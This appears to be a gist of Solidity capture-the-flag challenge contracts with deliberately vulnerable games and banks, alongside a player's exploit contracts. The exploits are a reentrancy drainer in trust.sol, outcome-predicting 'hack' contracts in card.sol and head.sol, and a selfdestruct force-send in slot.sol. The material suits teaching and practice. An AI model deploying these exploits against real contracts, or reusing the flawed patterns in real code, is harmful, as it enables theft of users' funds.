Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.24+commit.e67f0147.js&optimize=false&gist=

01.sol

pragma solidity 0.4.24;

import "./CtfFramework.sol";
import "./SafeMath.sol";

contract Donation is CtfFramework{

    using SafeMath for uint256;

    uint256 public funds;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        funds = funds.add(msg.value);
    }
    
    function() external payable ctf{
        funds = funds.add(msg.value);
    }

    function withdrawDonationsFromTheSuckersWhoFellForIt() external ctf{
        msg.sender.transfer(funds);
        funds = 0;
    }

}

03.sol

pragma solidity 0.4.24;

import "./CtfFramework.sol";
import "./SafeMath.sol";

contract PiggyBank is CtfFramework{

    using SafeMath for uint256;

    uint256 public piggyBalance;
    string public name;
    address public owner;
    
    constructor(address _ctfLauncher, address _player, string _name) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        name=_name;
        owner=msg.sender;
        piggyBalance=piggyBalance.add(msg.value);
    }
    
    function() external payable ctf{
        piggyBalance=piggyBalance.add(msg.value);
    }

    
    modifier onlyOwner(){
        require(msg.sender == owner, "Unauthorized: Not Owner");
        _;
    }

    function withdraw(uint256 amount) internal{
        piggyBalance = piggyBalance.sub(amount);
        msg.sender.transfer(amount);
    }

    function collectFunds(uint256 amount) public onlyOwner ctf{
        require(amount<=piggyBalance, "Insufficient Funds in Contract");
        withdraw(amount);
    }
    
}


contract CharliesPiggyBank is PiggyBank{
    
    uint256 public withdrawlCount;
    
    constructor(address _ctfLauncher, address _player) public payable
        PiggyBank(_ctfLauncher, _player, "Charlie") 
    {
        withdrawlCount = 0;
    }
    
    function collectFunds(uint256 amount) public ctf{
        require(amount<=piggyBalance, "Insufficient Funds in Contract");
        withdrawlCount = withdrawlCount.add(1);
        withdraw(amount);
    }
    
}

04.sol

pragma solidity 0.4.24;

import "./CtfFramework.sol";

// https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.8.0/contracts/token/ERC20/StandardToken.sol
import "./StandardToken.sol";

contract SIToken is StandardToken {

    using SafeMath for uint256;

    string public name = "SIToken";
    string public symbol = "SIT";
    uint public decimals = 18;
    uint public INITIAL_SUPPLY = 1000 * (10 ** decimals);

    constructor() public{
        totalSupply_ = INITIAL_SUPPLY;
        balances[this] = INITIAL_SUPPLY;
    }
}

contract SITokenSale is SIToken, CtfFramework {

    uint256 public feeAmount;
    uint256 public etherCollection;
    address public developer;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        feeAmount = 10 szabo; 
        developer = msg.sender;
        purchaseTokens(msg.value);
    }

    function purchaseTokens(uint256 _value) internal{
        require(_value > 0, "Cannot Purchase Zero Tokens");
        require(_value < balances[this], "Not Enough Tokens Available");
        balances[msg.sender] += _value - feeAmount;
        balances[this] -= _value;
        balances[developer] += feeAmount; 
        etherCollection += msg.value;
    }

    function () payable external ctf{
        purchaseTokens(msg.value);
    }

    // Allow users to refund their tokens for half price ;-)
    function refundTokens(uint256 _value) external ctf{
        require(_value>0, "Cannot Refund Zero Tokens");
        transfer(this, _value);
        etherCollection -= _value/2;
        msg.sender.transfer(_value/2);
    }

    function withdrawEther() external ctf{
        require(msg.sender == developer, "Unauthorized: Not Developer");
        require(balances[this] == 0, "Only Allowed Once Sale is Complete");
        msg.sender.transfer(etherCollection);
    }

}

05.sol

pragma solidity 0.4.24;

import "./CtfFramework.sol";

contract SimpleBank is CtfFramework{

    mapping(address => uint256) public balances;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        balances[msg.sender] = msg.value;
    }

    function deposit(address _user) public payable ctf{
        balances[_user] += msg.value;
    }

    function withdraw(address _user, uint256 _value) public ctf{
        require(_value<=balances[_user], "Insufficient Balance");
        balances[_user] -= _value;
        msg.sender.transfer(_value);
    }

    function () public payable ctf{
        deposit(msg.sender);
    }

}

contract MembersBank is SimpleBank{

    mapping(address => string) public members;

    constructor(address _ctfLauncher, address _player) public payable
        SimpleBank(_ctfLauncher, _player)
    {
    }

    function register(address _user, string _username) public ctf{
        members[_user] = _username;
    }

    modifier isMember(address _user){
        bytes memory username = bytes(members[_user]);
        require(username.length != 0, "Member Must First Register");
        _;
    }

    function deposit(address _user) public payable isMember(_user) ctf{
        super.deposit(_user);
    }

    function withdraw(address _user, uint256 _value) public isMember(_user) ctf{
        super.withdraw(_user, _value);
    }

}

contract SecureBank is MembersBank{

    constructor(address _ctfLauncher, address _player) public payable
        MembersBank(_ctfLauncher, _player)
    {
    }

    function deposit(address _user) public payable ctf{
        require(msg.sender == _user, "Unauthorized User");
        require(msg.value < 100 ether, "Exceeding Account Limits");
        require(msg.value >= 1 ether, "Does Not Satisfy Minimum Requirement");
        super.deposit(_user);
    }

    function withdraw(address _user, uint8 _value) public ctf{
        require(msg.sender == _user, "Unauthorized User");
        require(_value < 100, "Exceeding Account Limits");
        require(_value >= 1, "Does Not Satisfy Minimum Requirement");
        super.withdraw(_user, _value * 1 ether);
    }

    function register(address _user, string _username) public ctf{
        require(bytes(_username).length!=0, "Username Not Enough Characters");
        require(bytes(_username).length<=20, "Username Too Many Characters");
        super.register(_user, _username);
    }
}

06.sol

pragma solidity 0.4.24;

import "./CtfFramework.sol";
import "./SafeMath.sol";

contract Lottery is CtfFramework{

    using SafeMath for uint256;

    uint256 public totalPot;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        totalPot = totalPot.add(msg.value);
    }
    
    function() external payable ctf{
        totalPot = totalPot.add(msg.value);
    }

    function play(uint256 _seed) external payable ctf{
        require(msg.value >= 1 finney, "Insufficient Transaction Value");
        totalPot = totalPot.add(msg.value);
        bytes32 entropy = blockhash(block.number);
        bytes32 entropy2 = keccak256(abi.encodePacked(msg.sender));
        bytes32 target = keccak256(abi.encodePacked(entropy^entropy2));
        bytes32 guess = keccak256(abi.encodePacked(_seed));
        if(guess==target){
            //winner
            uint256 payout = totalPot;
            totalPot = 0;
            msg.sender.transfer(payout);
        }
    }
}

address.sol

pragma solidity ^0.4.24;

contract addressPredict {
    function addressFrom(address _origin, uint _nonce) external pure returns (address) {
        return address(keccak256(byte(0xd6), byte(0x94), _origin, byte(_nonce)));
    }
}

ballot.sol

pragma solidity >=0.4.22 <0.6.0;
contract Ballot {

    struct Voter {
        uint weight;
        bool voted;
        uint8 vote;
        address delegate;
    }
    struct Proposal {
        uint voteCount;
    }

    address chairperson;
    mapping(address => Voter) voters;
    Proposal[] proposals;

    /// Create a new ballot with $(_numProposals) different proposals.
    constructor(uint8 _numProposals) public {
        chairperson = msg.sender;
        voters[chairperson].weight = 1;
        proposals.length = _numProposals;
    }

    /// Give $(toVoter) the right to vote on this ballot.
    /// May only be called by $(chairperson).
    function giveRightToVote(address toVoter) public {
        if (msg.sender != chairperson || voters[toVoter].voted) return;
        voters[toVoter].weight = 1;
    }

    /// Delegate your vote to the voter $(to).
    function delegate(address to) public {
        Voter storage sender = voters[msg.sender]; // assigns reference
        if (sender.voted) return;
        while (voters[to].delegate != address(0) && voters[to].delegate != msg.sender)
            to = voters[to].delegate;
        if (to == msg.sender) return;
        sender.voted = true;
        sender.delegate = to;
        Voter storage delegateTo = voters[to];
        if (delegateTo.voted)
            proposals[delegateTo.vote].voteCount += sender.weight;
        else
            delegateTo.weight += sender.weight;
    }

    /// Give a single vote to proposal $(toProposal).
    function vote(uint8 toProposal) public {
        Voter storage sender = voters[msg.sender];
        if (sender.voted || toProposal >= proposals.length) return;
        sender.voted = true;
        sender.vote = toProposal;
        proposals[toProposal].voteCount += sender.weight;
    }

    function winningProposal() public view returns (uint8 _winningProposal) {
        uint256 winningVoteCount = 0;
        for (uint8 prop = 0; prop < proposals.length; prop++)
            if (proposals[prop].voteCount > winningVoteCount) {
                winningVoteCount = proposals[prop].voteCount;
                _winningProposal = prop;
            }
    }
}

ballot_test.sol

import "remix_tests.sol"; // this import is automatically injected by Remix.
import "./ballot.sol";

contract test3 {
   
    Ballot ballotToTest;
    function beforeAll () public {
       ballotToTest = new Ballot(2);
    }
    
    function checkWinningProposal () public {
        ballotToTest.vote(1);
        Assert.equal(ballotToTest.winningProposal(), uint(1), "1 should be the winning proposal");
    }
    
    function checkWinninProposalWithReturnValue () public view returns (bool) {
        return ballotToTest.winningProposal() == 1;
    }
}

BasicToken.sol

pragma solidity ^0.4.18;


import "./ERC20Basic.sol";
import "./SafeMath.sol";


/**
 * @title Basic token
 * @dev Basic version of StandardToken, with no allowances.
 */
contract BasicToken is ERC20Basic {
  using SafeMath for uint256;

  mapping(address => uint256) balances;

  uint256 totalSupply_;

  /**
  * @dev total number of tokens in existence
  */
  function totalSupply() public view returns (uint256) {
    return totalSupply_;
  }

  /**
  * @dev transfer token for a specified address
  * @param _to The address to transfer to.
  * @param _value The amount to be transferred.
  */
  function transfer(address _to, uint256 _value) public returns (bool) {
    require(_to != address(0));
    require(_value <= balances[msg.sender]);

    // SafeMath.sub will throw if there is not enough balance.
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    Transfer(msg.sender, _to, _value);
    return true;
  }

  /**
  * @dev Gets the balance of the specified address.
  * @param _owner The address to query the the balance of.
  * @return An uint256 representing the amount owned by the passed address.
  */
  function balanceOf(address _owner) public view returns (uint256 balance) {
    return balances[_owner];
  }

}

card.sol

pragma solidity 0.4.24;

import "./CtfFramework.sol";

contract hack {
    
    Scratchcard target = Scratchcard(0x4bc323a92018174056f911c51c99894f067685dd);
    
    function() public payable {
        
    }
    
    constructor() payable public {
        uint256 pool = 3.5 ether;
        uint256 value = (now%10**8)*10**10;
        while (pool > 0) {
            for (uint256 i = 0; i < 25; i++) {
                target.play.value(value)();
            }
            if (pool >= value * 2) {
                target.collectMegaJackpot(value * 2);
                pool -= value * 2;
            }
            else {
                target.collectMegaJackpot(pool);
                pool = 0;
            }
        }
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
}

contract Scratchcard is CtfFramework{

    event CardPurchased(address indexed player, uint256 cost, bool winner);

    mapping(address=>uint256) private winCount;
    uint256 private cost;


    using Address for address;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
    }

    modifier notContract(){
        require(!msg.sender.isContract(), "Contracts Not Allowed");
        _;
    }
    
    function play() public payable notContract ctf{
        bool won = false;
        if((now%10**8)*10**10 == msg.value){
            won = true;
            winCount[msg.sender] += 1;
            cost = msg.value;
            msg.sender.transfer(cost);
        }
        else{
            cost = 0;
            winCount[msg.sender] = 0;
        }
        emit CardPurchased(msg.sender, msg.value, won);
    }    

    function checkIfMegaJackpotWinner() public view returns(bool){
        return(winCount[msg.sender]>=25);
    }

    function collectMegaJackpot(uint256 _amount) public notContract ctf{
        require(checkIfMegaJackpotWinner(), "User Not Winner");
        require(2 * cost - _amount > 0, "Winners May Only Withdraw Up To 2x Their Scratchcard Cost");
        winCount[msg.sender] = 0;
        msg.sender.transfer(_amount);
    }

    function () public payable ctf{
        play();
    }

}

CtfFramework.sol

pragma solidity 0.4.24;

contract CtfFramework{
    
    event Transaction(address indexed player);

    mapping(address => bool) internal authorizedToPlay;
    
    constructor(address _ctfLauncher, address _player) public {
        authorizedToPlay[_ctfLauncher] = true;
        authorizedToPlay[_player] = true;
    }
    
    // This modifier is added to all external and public game functions
    // It ensures that only the correct player can interact with the game
    modifier ctf() { 
        require(authorizedToPlay[msg.sender], "Your wallet or contract is not authorized to play this challenge. You must first add this address via the ctf_challenge_add_authorized_sender(...) function.");
        emit Transaction(msg.sender);
        _;
    }
    
    // Add an authorized contract address to play this game
    function ctf_challenge_add_authorized_sender(address _addr) external ctf{
        authorizedToPlay[_addr] = true;
    }

}

ERC20.sol

pragma solidity ^0.4.18;

import "./ERC20Basic.sol";


/**
 * @title ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/20
 */
contract ERC20 is ERC20Basic {
  function allowance(address owner, address spender) public view returns (uint256);
  function transferFrom(address from, address to, uint256 value) public returns (bool);
  function approve(address spender, uint256 value) public returns (bool);
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

ERC20Basic.sol

pragma solidity ^0.4.18;


/**
 * @title ERC20Basic
 * @dev Simpler version of ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/179
 */
contract ERC20Basic {
  function totalSupply() public view returns (uint256);
  function balanceOf(address who) public view returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
}

head.sol

pragma solidity 0.4.24;

import "./CtfFramework.sol";
import "./SafeMath.sol";

contract hack {
    
    HeadsOrTails target = HeadsOrTails(0x8d876705a97682a1f3bab329e67a1237e46cdab8);
    
    function() payable {
        
    }
    
    function go() public payable {
        bytes32 entropy = blockhash(block.number-1);
        bytes1 coinFlip = entropy[0] & 1;
        if (coinFlip == 1) {
            for (uint256 i = 0; i < 20; i++) {
                target.play.value(0.1 ether)(true);
            }
        }
        else {
            for (uint256 j = 0; j < 20; j++) {
                target.play.value(0.1 ether)(false);
            }
        }
        msg.sender.transfer(address(this).balance);
    }
}

contract HeadsOrTails is CtfFramework{

    using SafeMath for uint256;

    uint256 public gameFunds;
    uint256 public cost;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        gameFunds = gameFunds.add(msg.value);
        cost = gameFunds.div(10);
    }
    
    function play(bool _heads) external payable ctf{
        require(msg.value == cost, "Incorrect Transaction Value");
        require(gameFunds >= cost.div(2), "Insufficient Funds in Game Contract");
        bytes32 entropy = blockhash(block.number-1);
        bytes1 coinFlip = entropy[0] & 1;
        if ((coinFlip == 1 && _heads) || (coinFlip == 0 && !_heads)) {
            //win
            gameFunds = gameFunds.sub(msg.value.div(2));
            msg.sender.transfer(msg.value.mul(3).div(2));
        }
        else {
            //loser
            gameFunds = gameFunds.add(msg.value);
        }
    }
}

raffle.sol

pragma solidity 0.4.24;

import "./CtfFramework.sol";

contract Raffle is CtfFramework{

    uint256 constant fee = 0.1 ether;

    address private admin;

    bytes4 private winningTicket;
    uint256 private blocknum;

    uint256 public ticketsBought;
    bool public raffleStopped;

    mapping(address=>uint256) private rewards;
    mapping(address=>bool) private potentialWinner;
    mapping(address=>bytes4) private ticketNumbers;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        rewards[address(this)] = msg.value;
        admin = msg.sender;
    }

    function buyTicket() external payable ctf{
        if(msg.value >= fee){
            winningTicket = bytes4(0);
            blocknum = block.number+1;
            ticketsBought += 1;
            raffleStopped = false;
            rewards[msg.sender] += msg.value;
            ticketNumbers[msg.sender] = bytes4((msg.value - fee)/10**8);
            potentialWinner[msg.sender] = true;
        }
    }

    function closeRaffle() external ctf{
        require(ticketsBought>0);
        require(!raffleStopped);
        require(blocknum != 0);
        require(winningTicket == bytes4(0));
        require(block.number>blocknum);
        require(msg.sender==admin || rewards[msg.sender]>0);
        winningTicket = bytes4(blockhash(blocknum));
        potentialWinner[msg.sender] = false;
        raffleStopped = true;
    }

    function collectReward() external payable ctf{
        require(raffleStopped);
        require(potentialWinner[msg.sender]);
        rewards[address(this)] += msg.value;
        if(winningTicket == ticketNumbers[msg.sender]){
            msg.sender.transfer(rewards[msg.sender]);
            msg.sender.transfer(rewards[address(this)]); 
            rewards[msg.sender] = 0;
            rewards[address(this)] = 0;
        }
    }

    function skimALittleOffTheTop(uint256 _value) external ctf{
        require(msg.sender==admin);
        require(rewards[address(this)]>_value);
        rewards[address(this)] = rewards[address(this)] - _value;
        msg.sender.transfer(_value);
    }

    function () public payable ctf{
        if(msg.value>=fee){
            this.buyTicket();
        }
        else if(msg.value == 0){
            this.closeRaffle();
        }
        else{
            this.collectReward();
        }
    }

}

rain.sol

pragma solidity 0.4.24;

import "./CtfFramework.sol";

contract DebugAuthorizer{
    
    bool public debugMode;

    constructor() public payable{
        if(address(this).balance == 1.337 ether){
            debugMode=true;
        }
    }
}

contract RainyDayFund is CtfFramework{

    address public developer;
    mapping(address=>bool) public fundManagerEnabled;
    DebugAuthorizer public debugAuthorizer;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        //debugAuthorizer = (new DebugAuthorizer).value(1.337 ether)(); // Debug mode only used during development
        debugAuthorizer = new DebugAuthorizer();
        developer = msg.sender;
        fundManagerEnabled[msg.sender] = true;
    }
    
    modifier isManager() {
        require(fundManagerEnabled[msg.sender] || debugAuthorizer.debugMode() || msg.sender == developer, "Unauthorized: Not a Fund Manager");
         _;
    }

    function () external payable ctf{
        // Anyone can add to the fund    
    }
    
    function addFundManager(address _newManager) external isManager ctf{
        fundManagerEnabled[_newManager] = true;
    }

    function removeFundManager(address _previousManager) external isManager ctf{
        fundManagerEnabled[_previousManager] = false;
    }

    function withdraw() external isManager ctf{
        msg.sender.transfer(address(this).balance);
    }
}

record.sol

pragma solidity 0.4.24;

import "./CtfFramework.sol";
import "./SafeMath.sol";


contract Royalties{

    using SafeMath for uint256;

    address private collectionsContract;
    address private artist;

    address[] private receiver;
    mapping(address => uint256) private receiverToPercentOfProfit;
    uint256 private percentRemaining;

    uint256 public amountPaid;

    constructor(address _manager, address _artist) public
    {
        collectionsContract = msg.sender;
        artist=_artist;

        receiver.push(_manager);
        receiverToPercentOfProfit[_manager] = 80;
        percentRemaining = 100 - receiverToPercentOfProfit[_manager];
    }

    modifier isCollectionsContract() { 
        require(msg.sender == collectionsContract, "Unauthorized: Not Collections Contract");
        _;
    }

    modifier isArtist(){
        require(msg.sender == artist, "Unauthorized: Not Artist");
        _;
    }

    function addRoyaltyReceiver(address _receiver, uint256 _percent) external isArtist{
        require(_percent<percentRemaining, "Precent Requested Must Be Less Than Percent Remaining");
        receiver.push(_receiver);
        receiverToPercentOfProfit[_receiver] = _percent;
        percentRemaining = percentRemaining.sub(_percent);
    }

    function payoutRoyalties() public payable isCollectionsContract{
        for (uint256 i = 0; i< receiver.length; i++){
            address current = receiver[i];
            uint256 payout = msg.value.mul(receiverToPercentOfProfit[current]).div(100);
            amountPaid = amountPaid.add(payout);
            current.transfer(payout);
        }
        msg.sender.call.value(msg.value-amountPaid)(bytes4(keccak256("collectRemainingFunds()")));
    }

    function getLastPayoutAmountAndReset() external isCollectionsContract returns(uint256){
        uint256 ret = amountPaid;
        amountPaid = 0;
        return ret;
    }

    function () public payable isCollectionsContract{
        payoutRoyalties();
    }
}

contract Manager{
    address public owner;

    constructor(address _owner) public {
        owner = _owner;
    }

    function withdraw(uint256 _balance) public {
        owner.transfer(_balance);
    }

    function () public payable{
        // empty
    }
}

contract RecordLabel is CtfFramework{

    using SafeMath for uint256;

    uint256 public funds;
    address public royalties;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        royalties = new Royalties(new Manager(_ctfLauncher), _player);
        funds = funds.add(msg.value);
    }
    
    function() external payable ctf{
        funds = funds.add(msg.value);
    }


    function withdrawFundsAndPayRoyalties(uint256 _withdrawAmount) external ctf{
        require(_withdrawAmount<=funds, "Insufficient Funds in Contract");
        funds = funds.sub(_withdrawAmount);
        royalties.call.value(_withdrawAmount)();
        uint256 royaltiesPaid = Royalties(royalties).getLastPayoutAmountAndReset();
        uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid); 
        msg.sender.transfer(artistPayout);
    }

    function collectRemainingFunds() external payable{
        require(msg.sender == royalties, "Unauthorized: Not Royalties Contract");
    }

}

SafeMath.sol

pragma solidity 0.4.24;

/**
 * @title SafeMath
 * @dev Unsigned math operations with safety checks that revert on error
 */
library SafeMath {
    /**
     * @dev Multiplies two unsigned integers, reverts on overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b);

        return c;
    }

    /**
     * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Adds two unsigned integers, reverts on overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);

        return c;
    }

    /**
     * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
     * reverts when dividing by zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0);
        return a % b;
    }
}

slot.sol

pragma solidity 0.4.24;

import "./CtfFramework.sol";
import "./SafeMath.sol";

contract killme {
    constructor() payable public {
        selfdestruct(0x587705f7c2d848efe65159b8766a58775c52a502);
    }
}

contract SlotMachine is CtfFramework{

    using SafeMath for uint256;

    uint256 public winner;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        winner = 5 ether;
    }
    
    function() external payable ctf{
        require(msg.value == 1 szabo, "Incorrect Transaction Value");
        if (address(this).balance >= winner){
            msg.sender.transfer(address(this).balance);
        }
    }

}

StandardToken.sol

pragma solidity ^0.4.18;

import "./BasicToken.sol";
import "./ERC20.sol";


/**
 * @title Standard ERC20 token
 *
 * @dev Implementation of the basic standard token.
 * @dev https://github.com/ethereum/EIPs/issues/20
 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
 */
contract StandardToken is ERC20, BasicToken {

  mapping (address => mapping (address => uint256)) internal allowed;


  /**
   * @dev Transfer tokens from one address to another
   * @param _from address The address which you want to send tokens from
   * @param _to address The address which you want to transfer to
   * @param _value uint256 the amount of tokens to be transferred
   */
  function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
    require(_to != address(0));
    require(_value <= balances[_from]);
    require(_value <= allowed[_from][msg.sender]);

    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    Transfer(_from, _to, _value);
    return true;
  }

  /**
   * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
   *
   * Beware that changing an allowance with this method brings the risk that someone may use both the old
   * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
   * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   * @param _spender The address which will spend the funds.
   * @param _value The amount of tokens to be spent.
   */
  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    Approval(msg.sender, _spender, _value);
    return true;
  }

  /**
   * @dev Function to check the amount of tokens that an owner allowed to a spender.
   * @param _owner address The address which owns the funds.
   * @param _spender address The address which will spend the funds.
   * @return A uint256 specifying the amount of tokens still available for the spender.
   */
  function allowance(address _owner, address _spender) public view returns (uint256) {
    return allowed[_owner][_spender];
  }

  /**
   * @dev Increase the amount of tokens that an owner allowed to a spender.
   *
   * approve should be called when allowed[_spender] == 0. To increment
   * allowed value is better to use this function to avoid 2 calls (and wait until
   * the first transaction is mined)
   * From MonolithDAO Token.sol
   * @param _spender The address which will spend the funds.
   * @param _addedValue The amount of tokens to increase the allowance by.
   */
  function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
    allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
    Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }

  /**
   * @dev Decrease the amount of tokens that an owner allowed to a spender.
   *
   * approve should be called when allowed[_spender] == 0. To decrement
   * allowed value is better to use this function to avoid 2 calls (and wait until
   * the first transaction is mined)
   * From MonolithDAO Token.sol
   * @param _spender The address which will spend the funds.
   * @param _subtractedValue The amount of tokens to decrease the allowance by.
   */
  function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
    uint oldValue = allowed[msg.sender][_spender];
    if (_subtractedValue > oldValue) {
      allowed[msg.sender][_spender] = 0;
    } else {
      allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
    }
    Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }

}

steal.sol

pragma solidity 0.4.24;

contract steal {
    
}

test.sol

pragma solidity 0.4.24;

contract test {
    function hack(address me) view returns (uint256) {
        //bytes32 target = keccak256(abi.encodePacked(entropy^entropy2));
        //return uint256(keccak256(abi.encodePacked(me)));
        // 10226387580383033375430629244019694355438975746826919668943636194578344853943
        bytes32 entropy = blockhash(block.number);
        bytes32 entropy2 = keccak256(abi.encodePacked(me));
        return uint256(entropy^entropy2);
    }
}

trust.sol

pragma solidity 0.4.24;

import "./CtfFramework.sol";
import "./SafeMath.sol";

contract steal {
    TrustFund target = TrustFund(0xde157c6dbec5bd93b0513dc8960e19de4e49e090);
    
    uint256 flag;
    
    function go() public {
        target.withdraw();
        msg.sender.transfer(address(this).balance);
    }
    
    function() payable public {
        flag++;
        if (flag < 10) {
            target.withdraw();
        }
    }
}

contract TrustFund is CtfFramework{

    using SafeMath for uint256;

    uint256 public allowancePerYear;
    uint256 public startDate;
    uint256 public numberOfWithdrawls;
    bool public withdrewThisYear;
    address public custodian;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        custodian = msg.sender;
        allowancePerYear = msg.value.div(10);        
        startDate = now;
    }

    function checkIfYearHasPassed() internal{
        if (now>=startDate + numberOfWithdrawls * 365 days){
            withdrewThisYear = false;
        } 
    }

    function withdraw() external ctf{
        require(allowancePerYear > 0, "No Allowances Allowed");
        checkIfYearHasPassed();
        require(!withdrewThisYear, "Already Withdrew This Year");
        if (msg.sender.call.value(allowancePerYear)()){
            withdrewThisYear = true;
            numberOfWithdrawls = numberOfWithdrawls.add(1);
        }
    }
    
    function returnFunds() external payable ctf{
        require(msg.value == allowancePerYear, "Incorrect Transaction Value");
        require(withdrewThisYear==true, "Cannot Return Funds Before Withdraw");
        withdrewThisYear = false;
        numberOfWithdrawls=numberOfWithdrawls.sub(1);
    }
}